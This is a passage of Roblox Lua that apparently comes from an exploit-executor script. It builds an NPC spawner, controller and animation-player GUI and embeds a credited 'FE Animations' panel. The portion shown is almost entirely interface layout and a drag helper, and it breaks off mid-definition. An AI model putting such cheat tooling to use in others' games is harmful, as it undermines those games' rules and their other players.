ClearNPCS.Name = "Clear NPCS"
ClearNPCS.Parent = ScrollingFrame
ClearNPCS.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
ClearNPCS.BorderSizePixel = 0
ClearNPCS.Position = UDim2.new(0.0552113205, 0, 0.469505757, 0)
ClearNPCS.Size = UDim2.new(0, 353, 0, 47)
ClearNPCS.Font = Enum.Font.SourceSans
ClearNPCS.Text = "Clear NPCS"
ClearNPCS.TextColor3 = Color3.fromRGB(255, 255, 255)
ClearNPCS.TextSize = 30.000
 
SpawnNPC.Name = "Spawn NPC"
SpawnNPC.Parent = ScrollingFrame
SpawnNPC.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
SpawnNPC.BorderSizePixel = 0
SpawnNPC.Position = UDim2.new(0.0549037084, 0, 0.0230516102, 0)
SpawnNPC.Size = UDim2.new(0, 353, 0, 47)
SpawnNPC.Font = Enum.Font.SourceSans
SpawnNPC.Text = "Spawn NPC"
SpawnNPC.TextColor3 = Color3.fromRGB(255, 255, 255)
SpawnNPC.TextSize = 30.000
 
FollowingNPC.Name = "Following NPC"
FollowingNPC.Parent = ScrollingFrame
FollowingNPC.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
FollowingNPC.BorderSizePixel = 0
FollowingNPC.Position = UDim2.new(0.0549036972, 0, 0.292430639, 0)
FollowingNPC.Size = UDim2.new(0, 353, 0, 47)
FollowingNPC.Font = Enum.Font.SourceSans
FollowingNPC.Text = "Spawn Following NPC"
FollowingNPC.TextColor3 = Color3.fromRGB(255, 255, 255)
FollowingNPC.TextSize = 30.000
 
Reset.Name = "Reset"
Reset.Parent = ScrollingFrame
Reset.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
Reset.BorderSizePixel = 0
Reset.Position = UDim2.new(0.0552113205, 0, 0.645385385, 0)
Reset.Size = UDim2.new(0, 353, 0, 47)
Reset.Font = Enum.Font.SourceSans
Reset.Text = "Reset"
Reset.TextColor3 = Color3.fromRGB(255, 255, 255)
Reset.TextSize = 30.000
 
ControlNPC.Name = "Control NPC"
ControlNPC.Parent = ScrollingFrame
ControlNPC.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
ControlNPC.BorderSizePixel = 0
ControlNPC.Position = UDim2.new(0.0552113205, 0, 0.556304991, 0)
ControlNPC.Size = UDim2.new(0, 353, 0, 47)
ControlNPC.Font = Enum.Font.SourceSans
ControlNPC.Text = "Control"
ControlNPC.TextColor3 = Color3.fromRGB(255, 255, 255)
ControlNPC.TextSize = 30.000
 
AnimationPlayer.Name = "Animation Player"
AnimationPlayer.Parent = ScrollingFrame
AnimationPlayer.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
AnimationPlayer.BorderSizePixel = 0
AnimationPlayer.Position = UDim2.new(0.0552113168, 0, 0.734465897, 0)
AnimationPlayer.Size = UDim2.new(0, 353, 0, 47)
AnimationPlayer.Font = Enum.Font.SourceSans
AnimationPlayer.Text = "NPC Animation Player"
AnimationPlayer.TextColor3 = Color3.fromRGB(255, 255, 255)
AnimationPlayer.TextSize = 30.000
 
SpawnEasyControlNPC.Name = "Spawn Easy Control NPC"
SpawnEasyControlNPC.Parent = ScrollingFrame
SpawnEasyControlNPC.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
SpawnEasyControlNPC.BorderSizePixel = 0
SpawnEasyControlNPC.Position = UDim2.new(0.0549037047, 0, 0.110695295, 0)
SpawnEasyControlNPC.Size = UDim2.new(0, 353, 0, 47)
SpawnEasyControlNPC.Font = Enum.Font.SourceSans
SpawnEasyControlNPC.Text = "Spawn Easy-Control NPC"
SpawnEasyControlNPC.TextColor3 = Color3.fromRGB(255, 255, 255)
SpawnEasyControlNPC.TextSize = 30.000
 
FollowPlayer.Name = "Follow Player"
FollowPlayer.Parent = ScrollingFrame
FollowPlayer.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
FollowPlayer.BorderSizePixel = 0
FollowPlayer.Position = UDim2.new(0.0552113131, 0, 0.82210952, 0)
FollowPlayer.Size = UDim2.new(0, 353, 0, 47)
FollowPlayer.Font = Enum.Font.SourceSans
FollowPlayer.Text = "Follow Player"
FollowPlayer.TextColor3 = Color3.fromRGB(255, 255, 255)
FollowPlayer.TextSize = 30.000
 
NA.Name = "N/A"
NA.Parent = ScrollingFrame
NA.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
NA.BorderSizePixel = 0
NA.Position = UDim2.new(0.0552113131, 0, 0.909753203, 0)
NA.Size = UDim2.new(0, 353, 0, 47)
NA.Font = Enum.Font.SourceSans
NA.Text = "N/A"
NA.TextColor3 = Color3.fromRGB(255, 255, 255)
NA.TextSize = 30.000
 
TextButton.Parent = Frame
TextButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton.BackgroundTransparency = 1.000
TextButton.BorderSizePixel = 0
TextButton.Position = UDim2.new(0.911062896, 0, 0, 0)
TextButton.Size = UDim2.new(0, 40, 0, 40)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = "-"
TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton.TextSize = 30.000
 
Frame2.Name = "Frame2"
Frame2.Parent = NPCSpawnerGUI
Frame2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame2.BorderSizePixel = 0
Frame2.Position = UDim2.new(0.0181430206, 0, 0.142250523, 0)
Frame2.Size = UDim2.new(0, 461, 0, 41)
Frame2.Visible = false
 
TextLabel_2.Parent = Frame2
TextLabel_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_2.BorderSizePixel = 0
TextLabel_2.Size = UDim2.new(0, 461, 0, 41)
TextLabel_2.Font = Enum.Font.SourceSans
TextLabel_2.Text = "NPC Animation Player GUI by LeitungBambus#1933 player by Null."
TextLabel_2.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_2.TextSize = 17.000
 
Frame_3.Parent = Frame2
Frame_3.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
Frame_3.BorderColor3 = Color3.fromRGB(27, 42, 53)
Frame_3.BorderSizePixel = 0
Frame_3.Position = UDim2.new(-0.000740829099, 0, 0.985345602, 0)
Frame_3.Size = UDim2.new(0, 461, 0, 197)
 
TextButton_2.Parent = Frame2
TextButton_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_2.BackgroundTransparency = 1.000
TextButton_2.BorderSizePixel = 0
TextButton_2.Position = UDim2.new(0.911062896, 0, 0, 0)
TextButton_2.Size = UDim2.new(0, 40, 0, 40)
TextButton_2.Font = Enum.Font.SourceSans
TextButton_2.Text = "X"
TextButton_2.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_2.TextSize = 30.000
 
PlayAnimation.Name = "Play Animation"
PlayAnimation.Parent = Frame2
PlayAnimation.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
PlayAnimation.BorderSizePixel = 0
PlayAnimation.Position = UDim2.new(0.113779634, 0, 1.82887304, 0)
PlayAnimation.Size = UDim2.new(0, 353, 0, 47)
PlayAnimation.Font = Enum.Font.SourceSans
PlayAnimation.Text = "Play Animation"
PlayAnimation.TextColor3 = Color3.fromRGB(255, 255, 255)
PlayAnimation.TextSize = 30.000
 
TextBox.Parent = Frame2
TextBox.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
TextBox.BorderSizePixel = 0
TextBox.Position = UDim2.new(0.114967465, 0, 3.78048778, 0)
TextBox.Size = UDim2.new(0, 353, 0, 47)
TextBox.Font = Enum.Font.SourceSans
TextBox.PlaceholderColor3 = Color3.fromRGB(180, 180, 180)
TextBox.PlaceholderText = "Animation ID"
TextBox.Text = ""
TextBox.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox.TextSize = 20.000
 
Frame3.Name = "Frame3"
Frame3.Parent = NPCSpawnerGUI
Frame3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame3.BorderSizePixel = 0
Frame3.Position = UDim2.new(0.00853789784, 0, 0.435244143, 0)
Frame3.Size = UDim2.new(0, 461, 0, 41)
Frame3.Visible = false
 
TextLabel_3.Parent = Frame3
TextLabel_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextLabel_3.BorderSizePixel = 0
TextLabel_3.Size = UDim2.new(0, 461, 0, 41)
TextLabel_3.Font = Enum.Font.SourceSans
TextLabel_3.Text = "NPC follow GUI by LeitungBambus#1933"
TextLabel_3.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_3.TextSize = 25.000
 
Frame_4.Parent = Frame3
Frame_4.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
Frame_4.BorderColor3 = Color3.fromRGB(27, 42, 53)
Frame_4.BorderSizePixel = 0
Frame_4.Position = UDim2.new(-0.000740829099, 0, 0.985345602, 0)
Frame_4.Size = UDim2.new(0, 461, 0, 197)
 
TextButton_3.Parent = Frame3
TextButton_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextButton_3.BackgroundTransparency = 1.000
TextButton_3.BorderSizePixel = 0
TextButton_3.Position = UDim2.new(0.911062896, 0, 0, 0)
TextButton_3.Size = UDim2.new(0, 40, 0, 40)
TextButton_3.Font = Enum.Font.SourceSans
TextButton_3.Text = "X"
TextButton_3.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_3.TextSize = 30.000
 
Follow.Name = "Follow"
Follow.Parent = Frame3
Follow.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
Follow.BorderSizePixel = 0
Follow.Position = UDim2.new(0.113779634, 0, 1.82887304, 0)
Follow.Size = UDim2.new(0, 353, 0, 47)
Follow.Font = Enum.Font.SourceSans
Follow.Text = "Follow"
Follow.TextColor3 = Color3.fromRGB(255, 255, 255)
Follow.TextSize = 30.000
 
TextBox_2.Parent = Frame3
TextBox_2.BackgroundColor3 = Color3.fromRGB(65, 65, 65)
TextBox_2.BorderSizePixel = 0
TextBox_2.Position = UDim2.new(0.114967465, 0, 3.78048778, 0)
TextBox_2.Size = UDim2.new(0, 353, 0, 47)
TextBox_2.Font = Enum.Font.SourceSans
TextBox_2.PlaceholderColor3 = Color3.fromRGB(180, 180, 180)
TextBox_2.PlaceholderText = "Player"
TextBox_2.Text = ""
TextBox_2.TextColor3 = Color3.fromRGB(255, 255, 255)
TextBox_2.TextSize = 20.000
 
-- Scripts:
 
local function VCDJA_fake_script() -- Frame.LocalScript 
	local script = Instance.new('LocalScript', Frame)
 
	local dragger = {}; 
	local resizer = {};
 
	do
		local mouse = game:GetService("Players").LocalPlayer:GetMouse();
		local inputService = game:GetService('UserInputService');
		local heartbeat = game:GetService("RunService").Heartbeat;
		-- // credits to Ririchi / Inori for this cute drag function :)
		function dragger.new(frame)
		    local s, event = pcall(function()
		    	return frame.MouseEnter
		    end)
 
		    if s then
		    	frame.Active = true;
 
		    	event:connect(function()
		    		local input = frame.InputBegan:connect(function(key)
		    			if key.UserInputType == Enum.UserInputType.MouseButton1 then
		    				local objectPosition = Vector2.new(mouse.X - frame.AbsolutePosition.X, mouse.Y - frame.AbsolutePosition.Y);
		    				while heartbeat:wait() and inputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) do
		    					frame:TweenPosition(UDim2.new(0, mouse.X - objectPosition.X + (frame.Size.X.Offset * frame.AnchorPoint.X), 0, mouse.Y - objectPosition.Y + (frame.Size.Y.Offset * frame.AnchorPoint.Y)), 'Out', 'Quad', 0.1, true);
		    				end
		    			end
		    		end)
 
		    		local leave;
		    		leave = frame.MouseLeave:connect(function()
		    			input:disconnect();
		    			leave:disconnect();
		    		end)
		    	end)
		    end
		end
 
		function resizer.new(p, s)
			p:GetPropertyChangedSignal('AbsoluteSize'):connect(function()
				s.Size = UDim2.new(s.Size.X.Scale, s.Size.X.Offset, s.Size.Y.Scale, p.AbsoluteSize.Y);
			end)
		end
	end
	script.Parent.Active = true
	script.Parent.Draggable = true
end
coroutine.wrap(VCDJA_fake_script)()
local function JCBQ_fake_script() -- Animations.LocalScript 
	local script = Instance.new('LocalScript', Animations)
 
	script.Parent.MouseButton1Down:Connect(function()
			local oof = game.Players.LocalPlayer.Character.Name
		local Energize = Instance.new("ScreenGui") -- The actual GUI
		local SideFrame = Instance.new("Frame") -- Visible when GUI is closed
		local OpenGUI = Instance.new("TextButton") -- Part of SideFrame
		local SideFrameTitle = Instance.new("TextLabel") -- Part of SideFrame
		local MainFrame = Instance.new("Frame") -- All of the stuff on the main frame
		local GuiBottomFrame = Instance.new("Frame") -- Part of Active Frame
		local Credits = Instance.new("TextLabel") -- Credits to illremember, hello there
		local ScrollingFrame = Instance.new("ScrollingFrame") -- The scrolling frame of animations
		local CheckR = Instance.new("TextLabel") -- Check if R15 or R6
		local ScrollingFrameR15 = Instance.new("ScrollingFrame") -- The scrolling frame of R15 animations
 
		local CrazySlash = Instance.new("TextButton")--COMPLETE
		local Open = Instance.new("TextButton")--COMPLETE
		local R15Spinner = Instance.new("TextButton")--COMPLETE
		local ArmsOut = Instance.new("TextButton")--COMPLETE
		local FloatSlash = Instance.new("TextButton")--COMPLETE
		local WeirdZombie = Instance.new("TextButton")--COMPLETE
		local DownSlash = Instance.new("TextButton")--COMPLETE
		local Pull = Instance.new("TextButton")--COMPLETE
		local CircleArm = Instance.new("TextButton")--COMPLETE
		local Bend = Instance.new("TextButton")--COMPLETE
		local RotateSlash = Instance.new("TextButton")--COMPLETE
		local FlingArms = Instance.new("TextButton")--COMPLETE
 
		local FullSwing = Instance.new("TextButton")--COMPLETE
		local GlitchLevitate = Instance.new("TextButton")--COMPLETE
		local MoonDance = Instance.new("TextButton")--COMPLETE
		local FullPunch = Instance.new("TextButton")--COMPLETE
		local Crouch = Instance.new("TextButton")--COMPLETE
		local SpinDance = Instance.new("TextButton")--COMPLETE
		local FloorFaint = Instance.new("TextButton")--COMPLETE
		local JumpingJacks = Instance.new("TextButton")--COMPLETE
		local Spinner = Instance.new("TextButton")--COMPLETE
		local MegaInsane = Instance.new("TextButton")--COMPLETE
		local ArmDetach = Instance.new("TextButton")--COMPLETE
		local WeirdMove = Instance.new("TextButton")--COMPLETE
		local Faint = Instance.new("TextButton")--COMPLETE
		local CloneIllusion = Instance.new("TextButton")--COMPLETE
		local Levitate = Instance.new("TextButton")--COMPLETE
		local DinoWalk = Instance.new("TextButton")--COMPLETE
		local FloorCrawl = Instance.new("TextButton")--COMPLETE
		local SwordSlam = Instance.new("TextButton")--COMPLETE
		local LoopHead = Instance.new("TextButton")--COMPLETE
		local HeroJump = Instance.new("TextButton")--COMPLETE
		local Insane = Instance.new("TextButton")--COMPLETE
		local FloatingHead = Instance.new("TextButton")--COMPLETE
		local HeadThrow = Instance.new("TextButton")--COMPLETE
		local MovingDance = Instance.new("TextButton")--COMPLETE
		local SuperPunch = Instance.new("TextButton")--COMPLETE
		local ArmTurbine = Instance.new("TextButton")--COMPLETE
		local Dab = Instance.new("TextButton")--COMPLETE
		local FloatSit = Instance.new("TextButton")--COMPLETE
		local SuperFaint = Instance.new("TextButton")--COMPLETE
		local BarrelRoll = Instance.new("TextButton")--COMPLETE
		local Scared = Instance.new("TextButton")--COMPLETE
		local InsaneArms = Instance.new("TextButton")--COMPLETE
		local SwordSlice = Instance.new("TextButton")--COMPLETE
		local SpinDance2 = Instance.new("TextButton")--COMPLETE
		local BowDown = Instance.new("TextButton")--COMPLETE
		local LoopSlam = Instance.new("TextButton")--COMPLETE
 
		local GuiTopFrame = Instance.new("Frame") -- Top of the main frame
		local CloseGUI = Instance.new("TextButton") -- To close the GUI
		local Title = Instance.new("TextLabel") -- Actual title of GUI, Energize
 
		-- Properties
 
		Energize.Name = "Energize"
		Energize.Parent = game.Players.LocalPlayer.PlayerGui
 
		SideFrame.Name = "SideFrame"
		SideFrame.Parent = Energize
		SideFrame.Active = true
		SideFrame.BackgroundColor3 = Color3.new(1, 0.329412, 0.329412)
		SideFrame.Draggable = true
		SideFrame.Position = UDim2.new(0, 376, 0, 125)
		SideFrame.Size = UDim2.new(0, 460, 0, 32)
		SideFrame.Visible = false
 
		OpenGUI.Name = "OpenGUI"
		OpenGUI.Parent = SideFrame
		OpenGUI.BackgroundColor3 = Color3.new(1, 1, 1)
		OpenGUI.BackgroundTransparency = 1
		OpenGUI.Position = UDim2.new(0, 426, 0, 0)
		OpenGUI.Size = UDim2.new(0, 34, 0, 32)
		OpenGUI.Font = Enum.Font.SourceSans
		OpenGUI.FontSize = Enum.FontSize.Size48
		OpenGUI.Text = "X"
		OpenGUI.TextColor3 = Color3.new(0.333333, 0, 0)
		OpenGUI.TextSize = 40
		OpenGUI.TextWrapped = true
 
		SideFrameTitle.Name = "SideFrameTitle"
		SideFrameTitle.Parent = SideFrame
		SideFrameTitle.BackgroundColor3 = Color3.new(1, 1, 1)
		SideFrameTitle.BackgroundTransparency = 1
		SideFrameTitle.Position = UDim2.new(0, 170, 0, 0)
		SideFrameTitle.Size = UDim2.new(0, 119, 0, 31)
		SideFrameTitle.Font = Enum.Font.Arial
		SideFrameTitle.FontSize = Enum.FontSize.Size24
		SideFrameTitle.Text = "-Energize-"
		SideFrameTitle.TextSize = 21
		SideFrameTitle.TextStrokeColor3 = Color3.new(0.27451, 0.92549, 0.905882)
		SideFrameTitle.TextStrokeTransparency = 0.69999998807907
 
		MainFrame.Name = "MainFrame"
		MainFrame.Parent = Energize
		MainFrame.Active = true
		MainFrame.BackgroundColor3 = Color3.new(1, 1, 1)
		MainFrame.BackgroundTransparency = 1
		MainFrame.Draggable = true
		MainFrame.Position = UDim2.new(0, 376, 0, 125)
		MainFrame.Size = UDim2.new(0, 444, 0, 280)
 
		GuiBottomFrame.Name = "Gui BottomFrame"
		GuiBottomFrame.Parent = MainFrame
		GuiBottomFrame.BackgroundColor3 = Color3.new(1, 0.329412, 0.329412)
		GuiBottomFrame.BorderColor3 = Color3.new(0.243137, 0.243137, 0.243137)
		GuiBottomFrame.Position = UDim2.new(0, 0, 0, 247)
		GuiBottomFrame.Size = UDim2.new(0, 460, 0, 32)
 
		Credits.Name = "Credits"
		Credits.Parent = GuiBottomFrame
		Credits.BackgroundColor3 = Color3.new(1, 1, 1)
		Credits.BackgroundTransparency = 1
		Credits.Size = UDim2.new(0, 460, 0, 32)
		Credits.FontSize = Enum.FontSize.Size14
		Credits.Text = "By illremember -FE Animations Gui"
		Credits.TextColor3 = Color3.new(0.219608, 0.219608, 0.219608)
		Credits.TextSize = 14
		Credits.TextStrokeColor3 = Color3.new(0.141176, 0.870588, 0.713726)
		Credits.TextStrokeTransparency = 0.69999998807907
		Credits.TextWrapped = true
 
		ScrollingFrame.Parent = MainFrame
		ScrollingFrame.BackgroundColor3 = Color3.new(1, 0.564706, 0.564706)
		ScrollingFrame.Position = UDim2.new(0, 0, 0, 32)
		ScrollingFrame.Size = UDim2.new(0, 460, 0, 215)
		ScrollingFrame.ScrollBarThickness = 13
 
		FullSwing.Name = "FullSwing"
		FullSwing.Parent = ScrollingFrame
		FullSwing.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		FullSwing.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		FullSwing.Position = UDim2.new(0, 17, 0, 322)
		FullSwing.Size = UDim2.new(0, 119, 0, 34)
		FullSwing.Font = Enum.Font.Highway
		FullSwing.FontSize = Enum.FontSize.Size24
		FullSwing.Text = "Full Swing"
		FullSwing.TextSize = 20
		FullSwing.TextWrapped = true
 
		GlitchLevitate.Name = "GlitchLevitate"
		GlitchLevitate.Parent = ScrollingFrame
		GlitchLevitate.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		GlitchLevitate.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		GlitchLevitate.Position = UDim2.new(0, 319, 0, 322)
		GlitchLevitate.Size = UDim2.new(0, 119, 0, 34)
		GlitchLevitate.Font = Enum.Font.Highway
		GlitchLevitate.FontSize = Enum.FontSize.Size24
		GlitchLevitate.Text = "Glitch Levitate"
		GlitchLevitate.TextSize = 20
		GlitchLevitate.TextWrapped = true
 
		MoonDance.Name = "MoonDance"
		MoonDance.Parent = ScrollingFrame
		MoonDance.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		MoonDance.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		MoonDance.Position = UDim2.new(0, 319, 0, 280)
		MoonDance.Size = UDim2.new(0, 119, 0, 34)
		MoonDance.Font = Enum.Font.Highway
		MoonDance.FontSize = Enum.FontSize.Size24
		MoonDance.Text = "Moon Dance"
		MoonDance.TextSize = 20
		MoonDance.TextWrapped = true
 
		FullPunch.Name = "FullPunch"
		FullPunch.Parent = ScrollingFrame
		FullPunch.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		FullPunch.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		FullPunch.Position = UDim2.new(0, 17, 0, 280)
		FullPunch.Size = UDim2.new(0, 119, 0, 34)
		FullPunch.Font = Enum.Font.Highway
		FullPunch.FontSize = Enum.FontSize.Size24
		FullPunch.Text = "Full Punch"
		FullPunch.TextSize = 20
		FullPunch.TextWrapped = true
 
		Crouch.Name = "Crouch"
		Crouch.Parent = ScrollingFrame
		Crouch.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		Crouch.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		Crouch.Position = UDim2.new(0, 168, 0, 280)
		Crouch.Size = UDim2.new(0, 119, 0, 34)
		Crouch.Font = Enum.Font.Highway
		Crouch.FontSize = Enum.FontSize.Size24
		Crouch.Text = "Crouch"
		Crouch.TextSize = 20
		Crouch.TextWrapped = true
 
		SpinDance.Name = "SpinDance"
		SpinDance.Parent = ScrollingFrame
		SpinDance.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		SpinDance.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		SpinDance.Position = UDim2.new(0, 168, 0, 236)
		SpinDance.Size = UDim2.new(0, 119, 0, 34)
		SpinDance.Font = Enum.Font.Highway
		SpinDance.FontSize = Enum.FontSize.Size24
		SpinDance.Text = "Spin Dance"
		SpinDance.TextSize = 20
		SpinDance.TextWrapped = true
 
		FloorFaint.Name = "FloorFaint"
		FloorFaint.Parent = ScrollingFrame
		FloorFaint.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		FloorFaint.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		FloorFaint.Position = UDim2.new(0, 17, 0, 236)
		FloorFaint.Size = UDim2.new(0, 119, 0, 34)
		FloorFaint.Font = Enum.Font.Highway
		FloorFaint.FontSize = Enum.FontSize.Size24
		FloorFaint.Text = "Floor Faint"
		FloorFaint.TextSize = 20
		FloorFaint.TextWrapped = true
 
		JumpingJacks.Name = "JumpingJacks"
		JumpingJacks.Parent = ScrollingFrame
		JumpingJacks.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		JumpingJacks.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		JumpingJacks.Position = UDim2.new(0, 319, 0, 236)
		JumpingJacks.Size = UDim2.new(0, 119, 0, 34)
		JumpingJacks.Font = Enum.Font.Highway
		JumpingJacks.FontSize = Enum.FontSize.Size24
		JumpingJacks.Text = "Jumping Jacks"
		JumpingJacks.TextSize = 20
		JumpingJacks.TextWrapped = true
 
		Spinner.Name = "Spinner"
		Spinner.Parent = ScrollingFrame
		Spinner.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		Spinner.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		Spinner.Position = UDim2.new(0, 17, 0, 192)
		Spinner.Size = UDim2.new(0, 119, 0, 34)
		Spinner.Font = Enum.Font.Highway
		Spinner.FontSize = Enum.FontSize.Size24
		Spinner.Text = "Spinner"
		Spinner.TextSize = 20
		Spinner.TextWrapped = true
 
		MegaInsane.Name = "MegaInsane"
		MegaInsane.Parent = ScrollingFrame
		MegaInsane.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		MegaInsane.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		MegaInsane.Position = UDim2.new(0, 168, 0, 192)
		MegaInsane.Size = UDim2.new(0, 119, 0, 34)
		MegaInsane.Font = Enum.Font.Highway
		MegaInsane.FontSize = Enum.FontSize.Size24
		MegaInsane.Text = "Mega Insane"
		MegaInsane.TextSize = 20
		MegaInsane.TextWrapped = true
 
		ArmDetach.Name = "ArmDetach"
		ArmDetach.Parent = ScrollingFrame
		ArmDetach.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		ArmDetach.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		ArmDetach.Position = UDim2.new(0, 319, 0, 192)
		ArmDetach.Size = UDim2.new(0, 119, 0, 34)
		ArmDetach.Font = Enum.Font.Highway
		ArmDetach.FontSize = Enum.FontSize.Size24
		ArmDetach.Text = "Arm Detach"
		ArmDetach.TextSize = 20
		ArmDetach.TextWrapped = true
 
		WeirdMove.Name = "WeirdMove"
		WeirdMove.Parent = ScrollingFrame
		WeirdMove.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		WeirdMove.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		WeirdMove.Position = UDim2.new(0, 168, 0, 148)
		WeirdMove.Size = UDim2.new(0, 119, 0, 34)
		WeirdMove.Font = Enum.Font.Highway
		WeirdMove.FontSize = Enum.FontSize.Size24
		WeirdMove.Text = "Weird Move"
		WeirdMove.TextSize = 20
		WeirdMove.TextWrapped = true
 
		Faint.Name = "Faint"
		Faint.Parent = ScrollingFrame
		Faint.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		Faint.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		Faint.Position = UDim2.new(0, 17, 0, 148)
		Faint.Size = UDim2.new(0, 119, 0, 34)
		Faint.Font = Enum.Font.Highway
		Faint.FontSize = Enum.FontSize.Size24
		Faint.Text = "Faint"
		Faint.TextSize = 20
		Faint.TextWrapped = true
 
		CloneIllusion.Name = "CloneIllusion"
		CloneIllusion.Parent = ScrollingFrame
		CloneIllusion.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		CloneIllusion.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		CloneIllusion.Position = UDim2.new(0, 319, 0, 148)
		CloneIllusion.Size = UDim2.new(0, 119, 0, 34)
		CloneIllusion.Font = Enum.Font.Highway
		CloneIllusion.FontSize = Enum.FontSize.Size24
		CloneIllusion.Text = "Clone Illusion"
		CloneIllusion.TextSize = 20
		CloneIllusion.TextWrapped = true
 
		Levitate.Name = "Levitate"
		Levitate.Parent = ScrollingFrame
		Levitate.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		Levitate.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		Levitate.Position = UDim2.new(0, 17, 0, 104)
		Levitate.Size = UDim2.new(0, 119, 0, 34)
		Levitate.Font = Enum.Font.Highway
		Levitate.FontSize = Enum.FontSize.Size24
		Levitate.Text = "Levitate"
		Levitate.TextSize = 20
		Levitate.TextWrapped = true
 
		DinoWalk.Name = "DinoWalk"
		DinoWalk.Parent = ScrollingFrame
		DinoWalk.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		DinoWalk.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		DinoWalk.Position = UDim2.new(0, 168, 0, 104)
		DinoWalk.Size = UDim2.new(0, 119, 0, 34)
		DinoWalk.Font = Enum.Font.Highway
		DinoWalk.FontSize = Enum.FontSize.Size24
		DinoWalk.Text = "Dino Walk"
		DinoWalk.TextSize = 20
		DinoWalk.TextWrapped = true
 
		FloorCrawl.Name = "FloorCrawl"
		FloorCrawl.Parent = ScrollingFrame
		FloorCrawl.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		FloorCrawl.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		FloorCrawl.Position = UDim2.new(0, 319, 0, 104)
		FloorCrawl.Size = UDim2.new(0, 119, 0, 34)
		FloorCrawl.Font = Enum.Font.Highway
		FloorCrawl.FontSize = Enum.FontSize.Size24
		FloorCrawl.Text = "Floor Crawl"
		FloorCrawl.TextSize = 20
		FloorCrawl.TextWrapped = true
 
		SwordSlam.Name = "SwordSlam"
		SwordSlam.Parent = ScrollingFrame
		SwordSlam.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		SwordSlam.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		SwordSlam.Position = UDim2.new(0, 319, 0, 60)
		SwordSlam.Size = UDim2.new(0, 119, 0, 34)
		SwordSlam.Font = Enum.Font.Highway
		SwordSlam.FontSize = Enum.FontSize.Size24
		SwordSlam.Text = "Sword Slam"
		SwordSlam.TextSize = 20
		SwordSlam.TextWrapped = true
 
		LoopHead.Name = "LoopHead"
		LoopHead.Parent = ScrollingFrame
		LoopHead.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		LoopHead.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		LoopHead.Position = UDim2.new(0, 168, 0, 60)
		LoopHead.Size = UDim2.new(0, 119, 0, 34)
		LoopHead.Font = Enum.Font.Highway
		LoopHead.FontSize = Enum.FontSize.Size24
		LoopHead.Text = "Loop Head"
		LoopHead.TextSize = 20
		LoopHead.TextWrapped = true
 
		HeroJump.Name = "HeroJump"
		HeroJump.Parent = ScrollingFrame
		HeroJump.BackgroundColor3 = Color3.new(0.886275, 0.776471, 0.368627)
		HeroJump.BorderColor3 = Color3.new(0.313726, 0.313726, 0.313726)
		HeroJump.Position = UDim2.new(0, 17, 0, 60)
		HeroJump.Size = UDim2.new(0, 119, 0, 34)
		HeroJump.Font = Enum.Font.Highway
